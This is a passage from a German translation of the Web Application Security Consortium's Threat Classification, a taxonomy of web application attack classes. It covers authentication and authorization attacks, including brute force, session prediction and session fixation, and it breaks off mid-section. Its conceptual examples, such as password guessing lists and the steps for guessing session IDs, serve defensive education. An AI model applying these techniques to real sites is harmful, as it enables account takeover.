Beschreibung - The Web Application Security Consortium

Werbung
Web Application Security Consortium:
Threat Classification
www.webappsec.org
Version: 1.00
Beschreibung
Web Security Threat Classification ist das Ergebnis einer
gemeinschaftlichen Anstrengung, die Bedrohungen (Threat) der
Sicherheit von Webanwendungen einheitlich zu definieren
(klassifizieren und organisieren). Die Mitglieder des Web Application
Security Consortium haben dieses Projekt gegründet, um einen
Industriestandard für den einheitlichen Gebrauch der Begriffe zu
entwickeln und zu verbreiten.
Anwendungsentwickler, Sicherheitsspezialisten und Softwarefirmen
haben damit die Möglichkeit eine einheitliche Sprache und einheitliche
Begriffe Rund um die Sicherheit von Webanwendungen (Web
Application Security) zu verwenden.
Ziele
 Klassifizierung aller bekannten Angriffe auf Webanwendungen.
 Übereinstimmende Namensgebung für Angriffsklassen.
 Entwicklung einer strukturierten Art und Weise um Angriffsklassen
zu organisieren.
 Erstellung einer Dokumentation, welche eine allgemein übliche
Beschreibung der Angriffsklassen darstellt.
Verwendung dieses Dokumentes
Dieses Dokument soll dazu beitragen die Sicherheitsrisiken von
Websites besser zu beschreiben und damit besser zu verstehen.
Weiter soll es während der Anwendungsentwicklung helfen, durch
15
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
sichere Programmierung Schwachstellen (Vulnerability) zu vermeiden.
Es kann auch als Richtlinie verwendet werden, um zu überprüfen, ob
die Gestaltung, Entwicklung und Überprüfung einer Website alle
bekannten Bedrohungen berücksichtigt. Bei der Auswahl von
Websicherheitslösungen kann es helfen, die verschiedenen
Lösungsmöglichkeiten zu verstehen.
Anmerkung zur Übersetzung
Das Ziel dieses Dokumentes ist es, den einheitlichen Gebrauch der
Begriffe zu etablieren. Da es im Deutschen teilweise noch keine
entsprechenden Fachbegriffe gibt, diese sich (noch) nicht eingebürgert
haben, eine Übersetzung „unpassend“ ist und der Bezug zum original
englischen Dokument erhalten bleiben soll, wurde in den Überschriften
auf eine Übersetzung und Anpassung an die deutsche Schreibweise
verzichtet, es stehen dort weiter die ursprünglichen englischen Begriffe.
I. d. R. verwendet dieses Dokument die deutschen Fachbegriffe soweit
sich diese bereits (nach Ansicht des Übersetzers) eingebürgert haben.
Lediglich Eigennamen, wie z. B. der des Dokumentes selbst, wurden in
der englischen Schreibweise übernommen. Manchmal steht zusätzlich
der englische Fachbegriff in Klammen, um Mehrdeutigkeiten zu
vermeiden.
Im Abschnitt Checkliste stehen die englischen und deutschen
Fachbegriffe (soweit vorhanden) nebeneinander. Im Glossar sind zur
Übersicht noch einmal alle englischen und entsprechenden deutschen
Fachbegriffe gegenübergestellt.
Um Verwechslungen zu vermeiden wird durchgehend benutzt:
 „Seite“ (web page) statt „Webseite“
 „Request“ (request) statt „(HTTP/Web-)Anfrage“
Die englischen Begriffe „modify“, „change“ und „craft“
wurden meist mit manipulieren übersetzt; das Verb
„exploit“ meist mit „schädigen“, seltener mit
„ausbeuten“.Inhaltsverzeichnis
BESCHREIBUNG ...................................................................................................... 1
25
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
ZIELE ........................................................................................................................ 1
VERWENDUNG DIESES DOKUMENTES ................................................................ 1
ANMERKUNG ZUR ÜBERSETZUNG ...................................................................... 2
INHALTSVERZEICHNIS ........................................................................................... 3
ÜBERSICHT .............................................................................................................. 5
HINTERGRUND ........................................................................................................ 6
AUTOREN ................................................................................................................. 7
CHECKLISTE ............................................................................................................ 8
ANGRIFFSKLASSEN ............................................................................................. 11
1 Authentication ..................................................................................................... 11
1.1 Brute Force ........................................................................................................ 11
1.2 Insufficient Authentication .................................................................................. 12
1.3 Weak Password Recovery Validation ................................................................ 13
2 Authorization....................................................................................................... 15
1.1 Credential/Session Prediction ............................................................................ 15
1.2 Insufficient Authorization .................................................................................... 17
1.3 Insufficient Session Expiration ........................................................................... 17
1.4 Session Fixation ................................................................................................ 19
3 Client-side Attacks ............................................................................................. 21
1.1 Content Spoofing ............................................................................................... 22
1.2 Cross-site Scripting ............................................................................................ 24
4 Command Execution .......................................................................................... 27
1.1 Buffer Overflow .................................................................................................. 27
1.2 Format String Attack .......................................................................................... 28
1.3 LDAP Injection ................................................................................................... 30
1.4 OS Commanding ............................................................................................... 33
1.5 SQL Injection ..................................................................................................... 35
1.6 SSI Injection....................................................................................................... 39
1.7 XPath Injection................................................................................................... 40
5 Information Disclosure ....................................................................................... 42
1.1 Directory Indexing .............................................................................................. 43
1.2 Information Leakage .......................................................................................... 45
1.3 Path Traversal ................................................................................................... 48
1.4 Predictable Resource Location .......................................................................... 51
6 Logical Attacks ................................................................................................... 52
1.1 Abuse of Functionality ....................................................................................... 52
35
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.2 Denial of Service ................................................................................................ 55
1.3 Insufficient Anti-automation................................................................................ 56
1.4 Insufficient Process Validation ........................................................................... 57
KONTAKT ............................................................................................................... 59
ANHANG ................................................................................................................. 60
1 HTTP-Response-Splitting................................................................................... 60
2 Web Server/Application Fingerprinting ............................................................ 66
GLOSSAR ............................................................................................................... 84
3 Gebräuchliche Abkürzungen ............................................................................. 85
LIZENZ .................................................................................................................... 86
Übersicht
Websites sind für viele Firmen umsatzkritische Systeme, die problemlos
arbeiten müssen, um Millionen Euro an Online-Transaktionen pro Tag
zu bewältigen. Dennoch muss der tatsächliche Wert einer Website von
Fall zu Fall für jede Organisation bewertet werden. Es ist schwierig
messbare und nicht messbare Werte nur in monetären Werten
auszudrücken.
Sicherheits-Schwachstellen bei Webanwendungen beeinflussen
kontinuierlich das Ausfallrisiko einer Website. Um eine Schwachstelle
auszunutzen, wird dann mindestens eine der verschiedenen
anwendungsspezifischen Angriffsmethoden (die Art wie eine
Sicherheitslücke ausgenutzt wird) verwendet. Diese Techniken werden
gemeinhin als Angriffsklassen (Class of Attack) bezeichnet. Viele dieser
Angriffstypen haben einprägsame Namen wie Buffer-Overflow, SQLInjection und Cross-Site-Scripting. Die grundlegende Methode mit der
die Bedrohungen, denen eine Website ausgesetzt ist, erklärt und
organisiert wird, wird hier Angriffsklasse genannt.
Die Web Security Threat Classification stellt genau die Angriffsklassen
zusammen, die in der Vergangenheit eine Bedrohung für Websites
darstellten. Jede Angriffsklasse erhält einen Standardnamen und wird
mit einer detaillierten Beschreibung und Herausstellung der
45
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Schlüsselpunkte erklärt. Des Weiteren wird jede Klasse flexibel
strukturiert.
Die Gestaltung der Web Security Threat Classification wird für
Anwendungsentwickler, Sicherheitsspezialisten, Softwarefirmen
und allen Anderen mit Interesse an Websicherheit von besonderem
Wert sein. Diese Bemühungen kommen unabhängigen Methoden
für Sicherheitsprüfungen, Sicherheitsrichtlinien für die
Entwicklung und Anforderungen an die Leistungsfähigkeit von
Produkten und Dienstleistungen zugute.Hintergrund
Während der letzten Jahre hat die Web-Sicherheitsindustrie dutzende
von verwirrenden und “künstlichen” Fachbegriffe an- und übernommen,
um Schwachstellen zu beschreiben.
Uneinheitliche, sich widersprechende und doppelte Begriffe wie CrossSite-Scripting, Parameter-Tampering, und Cookie-Poisoning wurden
geprägt, um deren Bedeutung zu beschreiben.
“Wenn eine Website z. B: eine Cross-Site-Scripting-Schwachstelle hat,
dann besteht ein Sicherheitsproblem durch Diebstahl von BenutzerCookies. Wenn das Cookie bloßgestellt ist, dann ist Session-Hijacking
und Übernahme des Onlineaccounts des Benutzers möglich. Ein
Angreifer nutzt eine Schwachstelle dadurch aus, dass mittels
Parameter-Tampering Eingabedaten manipuliert werden.”
Obige Beschreibung eines Angriffs ist verwirrend und könnte ebenso
mit vielen anderen technischen Fachbegriffen beschrieben werden.
Dieses vielschichtige und austauschbare Vokabular erzeugt Frustration
und Unstimmigkeiten in öffentlichen Foren, selbst dann wenn sich die
Teilnehme im Kern der Konzepte einig sind.
Durch Jahre hindurch gab es keine gut dokumentierte, standardisierte,
vollständige oder genaue und fehlerfreie Quelle, die diese Dinge
beschreibt.
Um die anfallenden Aufgaben zu bewältigen, wurde auf
Informationshäppchen aus einer handvoll Bücher, duzenden WhitePaper und hunderte von Präsentationen zurückgegriffen.
55
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Wenn Anfänger beginnen Websicherheit (Web Security) zu
erlernen, dann sind sie schnell durch das Fehlen einer
Standardsprache verwirrt und überfordert. Durch dieses
Durcheinander wird das Gebiet der Websicherheit verwaschen und
verlangsamt deren Fortschritt. Wir brauchen einen formalen
standardisierten Anlauf, um bei der Verbesserung der Sicherheit
der Internet- (Web-) Sicherheitsangelegenheiten diskutieren zu
können.Autoren
Robert Auger
SPI Dynamics
Ryan Barnett
Center for Internet Security
Apache Project Lead
Yuval Ben-Itzhak
Individual
Erik Caso
NT OBJECTives
Cesar Cerrudo
Application Security Inc.
Sacha Faust
SPI Dynamics
JD Glaser
NT OBJECTives
Jeremiah Grossman
WhiteHat Security
Sverre H. Huseby
Individual
Amit Klein
Sanctum
Mitja Kolsek
Acros Security
Aaron C. Newman
Application Security Inc.
Steve Orrin
Sanctum
Bill Pennington
WhiteHat Security
Ray Pompon
Conjungi Networks
Mike Shema
NT OBJECTives
Ory Segal
Sanctum
Caleb Sima
SPI Dynamics
Checkliste
Authentication / Authentifizierung
65
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1
Brute Force
Ein Brute-Force-Angriff ist ein automatisierter Prozess, der mittels
Ausprobieren versucht Benutzername, Passwort,
Kreditkartennummer oder Geheimschlüssel einer Person zu
erraten.
2
Insufficient Authentication / Ungenügende Authentifizierung
Von Insufficient-Authentication spricht man, wenn eine Website
den Zugriff auf Inhalte oder Funktionen erlaubt, ohne dass sich
der Benutzer zuvor ausreichend authentifiziert hat.
3
Weak Password Recovery Validation / Schwache PasswortWiederherstellungsfunktion
Mit Weak-Password-Recovery-Validation ermöglicht eine Website
einem Angreifer das Passwort eines anderen Benutzers unerlaubt
zu erlangen oder gar zu ändern.
Authorization / (Zugangs-)Berechtigung
4
Credential/Session Prediction / Berechtigung vorhersagen
Credential/Session-Prediction ist eine Methode, um die Session
eines Website-Benutzers zu übernehmen oder sich als diesen
Benutzer ausgeben.
5
Insufficient Authorization / Ungenügende Berechtigung
Man spricht von Insufficient-Authorization, wenn eine Website
den Zugriff auf vertraulichen Inhalt oder Funktionen erlaubt, die
eigentlich erhöhte Zugriffsrechte erfordern.
6
Insufficient Session Expiration / Ungenügender Sessionablauf
Mit Insufficient-Session-Expiration ist gemeint, dass eine Website
einem Angreifer erlaubt alte Session-Berechtigungen oder die
Session-IDs weiterzubenutzen.
7
Session Fixation / Session-Fixation
Session-Fixation ist eine Angriffsmethode, die die Session-ID
eines Benutzers auf einen festen Wert setzt.
Client-side Attacks / Clientseitige Angriffe
8
Content Spoofing / Inhaltsmanipulation
Content-Spoofing ist eine Angriffmethode, die einem Benutzer
vortäuscht, dass ein bestimmter Inhalt, der auf einer Website
erscheint, legitim und nicht von einer externen Quelle ist.
75
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
9
Cross-site Scripting / Cross-Site-Scripting
Cross-Site-Scripting (XSS) ist eine Angriffsmethode, mit der ein
Angreifer ausführbaren Code über eine Website verteilt, der dann
im Browser des Anwenders ausgeführt wird.
Command Execution / Befehlsausführung
Buffer Overflow / Pufferüberlauf
10 Angriffe, die Buffer-Overflow-Schwachstellen ausnutzen,
überschreiben Teile des Speichers, um den Programmablauf
einer Anwendung zu ändern.
Format String Attack / Format-String-Angriff
11 Format-String-Angriffe ändern den Programmablauf dadurch,
dass sie die Fähigkeiten der „string formatting library” ausnutzen,
um andere Bereiche des Programmspeichers zu manipulieren.
LDAP Injection / LDAP-Injection
12 LDAP-Injection ist eine Angriffsmethode, die Websites angreift,
die LDAP-Statements aus Benutzereingaben konstruieren.
OS Commanding / OS-Commanding
13 OS-Commanding ist eine Angriffsmethode, die Websites angreift,
die Betriebsystembefehle aus Benutzereingaben konstruieren.
SQL Injection / SQL-Injection
14 SQL-Injection ist eine Angriffsmethode, die Websites angreift, die
SQL-Anfragen aus Benutzereingaben konstruieren.
SSI Injection / SSI-Injection
SSI-Injection (Server-Side-Include) ist eine serverseitige
15 Angriffsmethode, die einem Angreifer erlaubt, einer
Webanwendung Code zu senden, der dann später lokal auf dem
Webserver ausgeführt wird.
XPath Injection / XPath-Injection
16 XPath-Injection ist eine Angriffsmethode, die Websites angreift,
die XPath-Anfragen von Benutzereingaben konstruieren.
Information Disclosure / Informationsoffenlegung
85
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Directory Indexing / Verzeichnislisting
Directory-Indexing ist eine Funktion des Webservers, die, wenn
17 die übliche Standarddatei (index.html, home.html,
default.htm) fehlt, automatisch alle Dateien im Verzeichnis
zeigt,
Information Leakage / Informationsleck, Informationslücke
Eine Information-Leakage-Schwachstellle liegt vor, wenn eine
18 Website sensible Daten (z. B. Kommentare der Entwickler oder
Fehlermeldungen), die einem Angreifer helfen das System zu
missbrauchen, ausgibt.
Path Traversal / Path-Traversal
19 Mit der Path-Traversal-Angriffstechnik erhält man Zugriff auf
Dateien, Verzeichnisse und Befehle, die potentiell außerhalb des
DocumentRoot-Verzeichnisses des Webservers liegen.
Predictable Resource Location / Vorhersagbare Quellen
20 Predictable-Resource-Location ist eine Angriffsmethode, um
versteckten Inhalt oder versteckte Funktionalität einer Website zu
finden.
Logical Attacks / Logische Angriffe
Abuse of Functionality /
Abuse-of-Functionality ist eine Angriffsmethode, die die
21 Eigenschaften und Funktionen der Website selbst benutzt, um
Zugangskontrollen zu verbrauchen, zu umgehen oder
auszutricksen
Denial of Service / Überflutung
22 Denial-of-Service (DoS) ist eine Angriffstechnik, die das Ziel
verfolg, die üblichen Benutzeraktivitäten einer Website zu
verhindern.
Insufficient Anti-automation / Ungenügende Anti-Automation
23 Von ungenügender Anti-Automation spricht man, wenn eine
Website einem Angreifer erlaubt Prozesse zu automatisieren, die
nur manuell ausgeführt werden sollen.
Insufficient Process Validation / Ungenügende Prozessprüfung
24 Von ungenügender Prozessvalidation spricht man, wenn eine
Website einem Angreifer erlaubt, den vorgesehenen
Anwendungsablauf zu umgehen.
95
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Angriffsklassen
1 Authentication
Der Abschnitt Authentifizierung beschreibt Angriffe auf die Methoden
wie eine Website die Identität eines Benutzers oder Dienstes feststellt.
Zur Authentifizierung ist mindestens eines der 3 Merkmale “etwas das
man hat”, „etwas das man weiß” oder etwas das man ist” nötig. Dieser
Abschnitt beschreibt die Angriffe, die benutzt werden können, um den
Authentifizierungsprozess einer Website zu umgehen oder
auszutricksen.
1.1
Brute Force
Ein Brute-Force-Angriff ist ein automatisierter Prozess, der mittels
Ausprobieren versucht Benutzername, Passwort, Kreditkartennummer
oder Geheimschlüssel einer Person zu erraten.
Viele Systeme erlauben die Verwendung von schwachen Passwörtern
oder Schlüsseln. Benutzer verwenden auch oft leicht zu erratende
Passwörter oder solche, die in Wörterbüchern zu finden sind. In einem
solchen Szenario benutzt ein Angreifer ein Wörterbuch und probiert
einfach Wort für Wort durch. Dabei erzeugt er tausende oder gar
Millionen falscher Passwörter. Wenn eines der ausprobierten
Passwörter den Zugang zum System erlaubt, dann wäre der BruteForce-Angriff erfolgreich und der Angreifer kann den Account benutzen.
Dieselbe Technik kann auch angewendet werden, um die Schlüssel von
Verschlüsselungsmethoden zu erraten. Wenn eine Website schwache
Schlüssel oder solche aus einer zu kleinen Schlüsselmenge benutzt,
dann kann ein Angreifer den richtigen Schlüssel einfach dadurch
bestimmen, dass er alle möglichen Schlüssel durchprobiert.
Es gibt 2 Arten von Brute-Force-Angriffen: (normale) Brute-Force- und
Reverse-Brute-Force-Angriffe. Der normale Brute-Force-Angriff
verwendet für einen Benutzernamen viele Passwörter. Ein ReverseBrute-Force-Angriff verwendet für viele Benutzernamen dasselbe
Passwort. In Systemen mit Millionen von Benutzerkonten, steigt die
Wahrscheinlichkeit, dass mehrere Benutzer dasselbe Passwort haben,
dramatisch an. Obwohl Brute-Force-Techniken sehr populär und oft
105
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
erfolgreich sind, kann es Stunden, Wochen oder gar Jahre dauern, bis
sie zum Erfolg führen.
Beispiel
Benutzername = Jon
Passwörter = smith, michael-jordan, [pet names], [birthdays], [car
names], ….
Benutzernamen = Jon, Dan, Ed, Sara, Barbara, …..
Passwort = 12345678
Referenzen
„Brute Force Attack”, Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_forc
e.html
„iDefense: Brute-Force Exploitation of Web Application Session ID’s”,
By David Endler – iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf
1.2
Insufficient Authentication
Von Insufficient-Authentication spricht man, wenn eine Website den
Zugriff auf Inhalte oder Funktionen erlaubt, ohne dass sich der Benutzer
zuvor ausreichend authentifiziert hat.
Web-basierte Administrationstools sind gute Beispiele für Websites, die
sensible Funktionen anbieten. Solche Webanwendungen sollten auf
Grund ihrer speziellen Ressourcen nicht direkt zugänglich sein, sondern
mit einer gründlichen Benutzerauthentisierung arbeiten.
Um die Konfiguration einer Authentifizierung zu umgehen, werden die
entsprechenden Zugänge dadurch „versteckt”, dass die speziellen Links
in der öffentlichen Website fehlen. Trotzdem ist diese Lösung nicht
mehr als „Security Through Obscurity”. Es ist wichtig zu verstehen, dass
einfach dadurch, dass obwohl eine Seite für einen Angreifer unbekannt
115
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
ist, sie trotzdem über den direkten URL erreichbar bleibt. Solche
speziellen URLs können mit Brute-Force-Techniken durch einfaches
Probieren üblicher Datei- und/oder Verzeichnisnamen (z. B. /admin),
Fehlermeldungen, Referrer-Logdateien, oder durch Nennung in der
Dokumentation gefunden werden. Solche Seiten müssen entsprechend
geschützt werden, egal ob sie statisch oder dynamisch erzeugten Inhalt
haben.
Beispiel
Viele Webanwendungen wurden mit Administrationsfunktionen, die im
Basisverzeichnis (/admin/) zu finden sind, ausgestattet. Dieses
Verzeichnis, zu dem auf der Webseite keine Links vorhanden sind, kann
aber mit standard Web-Browsern direkt angesteuert werden.
Da die Benutzer oder Entwickler nie erwartet haben, dass jemand diese
nicht verlinkte Seite sieht, wurde die Implementierung einer
Authentifizierung für diese Seite meist übersehen.
Wenn ein Angreifer dadurch direkt auf diese Seiten zugreifen kann,
dann erhält er dadurch auch den vollen administrativen Zugriff auf der
Website.
1.3
Weak Password Recovery Validation
Mit Weak-Password-Recovery-Validation ermöglicht eine Website
einem Angreifer das Passwort eines anderen Benutzers unerlaubt zu
erlangen oder gar zu ändern. Konventionelle Authentisierungsmethoden
von Websites verlangen vom Benutzer, sich ein Passwort oder einen
Passphrase zu merken. Der Benutzer muss die einzige Person sein, die
das Passwort kennt und muss es sich genau merken. Mit der Zeit
tendieren Benutzer dazu, sich nicht mehr an das genaue Passwort zu
erinnern. Die Angelegenheit ist umso komplizierter, wenn der
durchschnittliche Benutzer 20 Seiten besucht, die jeweils ein Passwort
verlangen (RSA Survey:
http://news.bbc.co.uk/1/hi/technology/3639679.stm). Dadurch wird
Passwort-Wiederherstellung (Password Recovery) eine wichtige
Funktion für Online-Benutzer.
Automatische Passwort-Wiederherstellungsmethoden sind z. B. dass
der Benutzer eine „Geheimfrage” beantworten muss, die der Benutzer
125
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
während der Registrierung definiert hat. Diese Frage kann entweder
aus einer Liste vorgegebener Fragen ausgewählt oder durch den
Benutzer selbst spezifiziert werden. Eine andere Methode ist, dass der
Benutzer einen „Hinweis” während der Registrierung geben muss, die
ihm helfen sich an das Passwort zu erinnern. Andere Methoden
verlangen, dass der Benutzer persönliche Daten, wie
Versicherungsnummer, Adresse, Postleitzahl usw. bekannt gibt, die
dann die Identität des Benutzers bestätigen. Wenn der Benutzer
nachgewiesen hat, wer er ist, kann das System ein neues Passwort
anzeigen oder zumailen.
Man kann davon ausgehen, dass eine Website eine schwache
Passwort-Wiederherstellung hat, wenn ein Angreifer den benutzten
Mechanismus vereiteln kann. Das passiert, wenn die verlangte
Information zur Wiederherstellung des Nachweises der
Benutzeridentität leicht erraten oder umgangen werden kann.
Passwort-Wiederherstellungssysteme (Password-Recovery-Systems)
können durch Brute-Force-Angriffe, inhärente Systemschwächen oder
leicht erratbare Geheimfragen umgangen werden.
Beispiel
Informationsprüfung
Viele Websites verlangen von Benutzern nur die Angabe ihrer E-MailAdresse in Kombination mit ihrer Adresse und Telefonnummer. Diese
Information kann leicht z. B. von einer Vielzahl von OnlineTelefonverzeichnissen erhalten werden. D. h. dass diese Information
nicht sehr sicher ist. Weiter kann diese Information durch andere
Methoden wie Cross-Site-Scripting und Phishing ermittelt werden.
Password Hints / Passwort-Hinweise
Wenn eine Website Hinweise benutzt, um dem Benutzer zu helfen, sich
an sein Passwort zu erinnern, dann ist sie anfällig für Brute-ForceAngriffe. Ein Benutzer kann ein wirklich gutes Passwort haben, z. B.
„122277King”, mit einem zugehörigen Passwort-Hinweis: „gtag+lautor”.
Ein Angreifer kann aus diesen Hinweisen schließen, dass das
Benutzerpasswort eine Kombination aus dem Geburtstag des
Benutzers und dem Lieblingsautor des Benutzers ist. Das hilft einen
Wörterbuch-Brute-Force-Angriff gegen das Passwort signifikant zu
135
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
verkürzen.
Rätselfrage
Ein Benutzerpasswort kann „Richmond” sein mit einer Geheimfrage
„Geburtsort”. Ein Angreifer kann dann einen Brute-Force-Angriff auf die
Geheimfrage auf Städtenamen einschränken. Wenn der Angreifer auch
noch etwas über den anzugreifenden Benutzer weiß, dann wird das
Erraten des Geburtsortes zu einer leichten Aufgabe.
Referenzen
„Protecting Secret Keys with Personal Entropy”, By Carl Ellison, C. Hall,
R. Milbert, and B. Schneier
http://www.schneier.com/paper-personal-entropy.html
„Emergency Key Recovery without Third Parties”, Carl Ellison
http://theworld.com/~cme/html/rump96.html
2 Authorization
Der Abschnitt Autorisation beschreibt Angriffe auf die Methoden wie
eine Website feststellt, ob Benutzer, Dienste oder Anwendungen die
notwendigen Rechte haben, eine Aktion auszuführen. Viele Websites
erlauben z. B. nur bestimmten Benutzern Seiten anzusehen oder
Funktionen zu benutzen. Oder für manche Benutzer werden die
Zugriffsrechte beschränkt.
Mit verschiedenen Methoden kann ein Angreifer eine Website
überlisten, so dass die Rechte erhöht werden, um Zugriff auf geschützte
Bereiche zu erhalten.
1.1
Credential/Session Prediction
Credential/Session-Prediction ist eine Methode, um die Session eines
Website-Benutzers zu übernehmen oder sich als diesen Benutzer
ausgeben. Durch Erraten oder aus anderen Angaben folgern wird der
Wert einer bestimmten Session bestimmt und zum Angriff benutzt. Dies
ist auch als Session-Hijacking bekannt. Die Folge ist, dass ein Angreifer
die Möglichkeit hat, die Website mit den gestohlenen Rechten des
145
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Benutzers zu benutzen.
Viele Websites sind so konzipiert, dass sie beim Aufbau der Verbindung
eines Benutzers zur Website den Benutzer authentifizieren und seine
Aktivität verfolgen. Dazu muss ein Benutzer der Website seine Identität
nachweisen. Üblicherweise durch Angabe von Benutzername/Passwort
(credentials). Damit diese vertraulichen Daten (credentials) nicht mit
jeder Transaktion hin und her geschickt werden, verwenden Websites
eine eindeutige „Session-ID“ um den Benutzer anhand dieser als
authentifiziert zu erkennen. Bei der weiteren Kommunikation zwischen
Benutzer und Website wird die Session-ID als „Beweis“ einer
authentifizierten Session immer mitgeschickt. Wenn es einem Angreifer
gelingt diese Session-ID eines anderen Benutzers zu erraten oder
vorherzusagen, dann sind betrügerische Aktivitäten möglich.
Beispiel
Viele Websites versuchen Session-IDs mit hausgemachten Algorithmen
zu erzeugen. Diese hausgemachten Methoden erzeugen Session-IDs
z. B. durch einfaches Hochzählen einer Nummer. Oder es werden
komplexere Methoden verwendet, wie z. B. ein Zeitstempel oder
rechnerspezifische Variablen.
Die Session-ID wird dann in einem Cookie, hidden-Form-Feld oder der
URL gespeichert. Wenn ein Angreifer den Algorithmus zur Erzeugung
der Session-ID errät, dann kann ein Angriff wie folgt erfolgen:
1) Angreifer verbindet sich zur Webanwendung, um eine Session-ID
zu erhalten.
2) Angreifer berechnet oder ermittelt mit Brute-Force-Methoden die
nächste Session-ID.
3) Angreifer ändert den Wert im Cookie, hidden-Form-Feld oder
URL und erhält die Identität des nächsten Benutzers.
Referenzen
„iDefense: Brute-Force Exploitation of Web Application Session ID’s”,
By David Endler – iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf
„Best Practices in Managing HTTP-Based Client Sessions”, Gunter
Ollmann - X-Force Security Assessment Services EMEA
155
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
http://www.itsecurity.com/papers/iss9.htm
„A Guide to Web Authentication Alternatives”, Jan Wolter
http://www.unixpapa.com/auth/homebuilt.html
1.2
Insufficient Authorization
Man spricht von Insufficient-Authorization, wenn eine Website den
Zugriff auf vertraulichen Inhalt oder Funktionen erlaubt, die eigentlich
erhöhte Zugriffsrechte erfordern. Wenn ein Benutzer an einer Website
angemeldet ist, heißt das noch lange nicht, dass ihm zwangsläufig die
vollen Zugriffsrechte gegeben werden, oder dass er berechtigt ist, alle
Funktionen der Webanwendung zu benutzen.
Autorisierung erfolgt nach der Authentifikation, um zu festzulegen, was
ein Benutzer, ein Dienst oder eine Applikation tun darf. In Policys
werden die Zugriffsrechte definiert, die die Aktionen auf der Website
einschränken. Sensible Teile einer Website dürfen evtl. nicht von jedem,
sondern nur von einem Administrator benutzt werden.
Beispiel
In der Vergangenheit haben viele Websites administrativen Inhalt
und/oder Funktionalität in versteckten Verzeichnissen wie /admin oder
/logs gespeichert. Wenn ein Angreifer diese Verzeichnisse direkt
ansteuerte, dann war ihm der Zugriff erlaubt. Dadurch könnte es
möglich sein den Webserver neu zu konfigurieren oder sensible
Information zu erhalten oder gar die Website zu ändern.
Referenzen
„Brute Force Attack”, Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_forc
e.html
„iDefense: Brute-Force Exploitation of Web Application Session ID’s”,
By David Endler – iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf
165
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.3
Insufficient Session Expiration
Mit Insufficient-Session-Expiration ist gemeint, dass eine Website einem
Angreifer erlaubt alte Session-Berechtigungen oder die Session-IDs
weiterzubenutzen. Durch Insufficient-Session-Expiration wird eine
Website anfällig für Angriffe mit gestohlenen oder vorgetäuschten
Benutzeridentitäten.
Da HTTP ein zustandsloses Protokoll ist, benutzen Websites
normalerweise Session-IDs um einen Benutzer von Request zu
Request eindeutig zu identifizieren. Folglich muss jede Session-ID
vertraulich behandelt werden, so dass verhindert wird, dass mehrere
Benutzer denselben Account benutzen. Eine gestohlene Session-ID
kann benutzt werden, um den Account eines anderen Benutzers
anzusehen oder betrügerische Transaktionen mit diesem auszuführen.
Wenn eine korrekte Regelung für die Gültigkeitsdauer der Session-ID
fehlt, dann kann dies erfolgreiche Angriffe wahrscheinlicher machen.
Ein Angreifer kann z. B. mit einem Netzwerksniffer die Session-ID
abhören oder sie sich mit einem Cross-Site-Scripting-Angriff
erschleichen. Kurze Ablaufzeiten für Session-IDs können nicht davor
schützen, dass eine gestohlene Session-ID unmittelbar benutzt wird.
Allerdings schützen sie vor einer fortlaufend, wiederholten Nutzung. In
einem anderen Szenario nutzt ein Anwender eine Website von einem
öffentlichen Computer aus (z. B. in einem Internetcafé). Unzureichende
Ablaufzeiten für Sessions erlauben einem Angreifer den Back-Button
des Browsers zu benutzen, um die Seiten anzuschauen, die das Opfer
zuvor besucht hat.
Lange Gültigkeitsdauern der Session-ID erhöhen die Chance eines
Angreifers, eine gültige Session-ID zu erraten. Eine lange Ablaufzeit
erhöht auch die Anzahl gleichzeitig offener Sessions, womit die Menge
erratbarer Nummern steigt, aus denen ein Angreifer wählen kann.
Beispiel
An öffentlichen Computern (bei denen mehr als eine Person
ungehinderten physischen Zugang haben), kann ungenügende
Session-Expiration dazu ausgenutzt werden, die Web-Aktivitäten eines
anderen Benutzers anzusehen. Wenn die Abmeldefunktion einer
Website ein Opfer einfach auf die Homepage der Website leitet ohne
175
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
die Session zu beenden, dann kann ein anderer Benutzer durch die
Browser-History blättern und die Seiten ansehen, die das Opfer besucht
hatte. Da die Session-ID des Opfers ihre Gültigkeit nicht verloren hat,
kann der Angreifer die Session des Opfers verwenden ohne sich zu
authentifizieren.
Referenzen
„Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil
Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer
Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
1.4
Session Fixation
Session-Fixation ist eine Angriffsmethode, die die Session-ID eines
Benutzers auf einen festen Wert setzt. Abhängig von der Funktionalität
der Website, können eine Reihe von Techniken benutzt werden, um
den Wert einer Session-ID zu fixieren. Dazu eigenen sich z. B. Links zu
Cross-Site-Scripting-Schwachstellen der Website mit zuvor gemachten
HTTP-Requests. Nachdem die Session-ID des Benutzers fixiert ist,
wartet der Angreifer bis dieser sich anmeldet. Sobald der Benutzer
angemeldet ist kann der Angreifer die vordefinierte Session-ID
verwenden und die Online-Identität des Benutzers missbrauchen.
Generell gibt es zwei Arten von Session-Management-Systemen, um
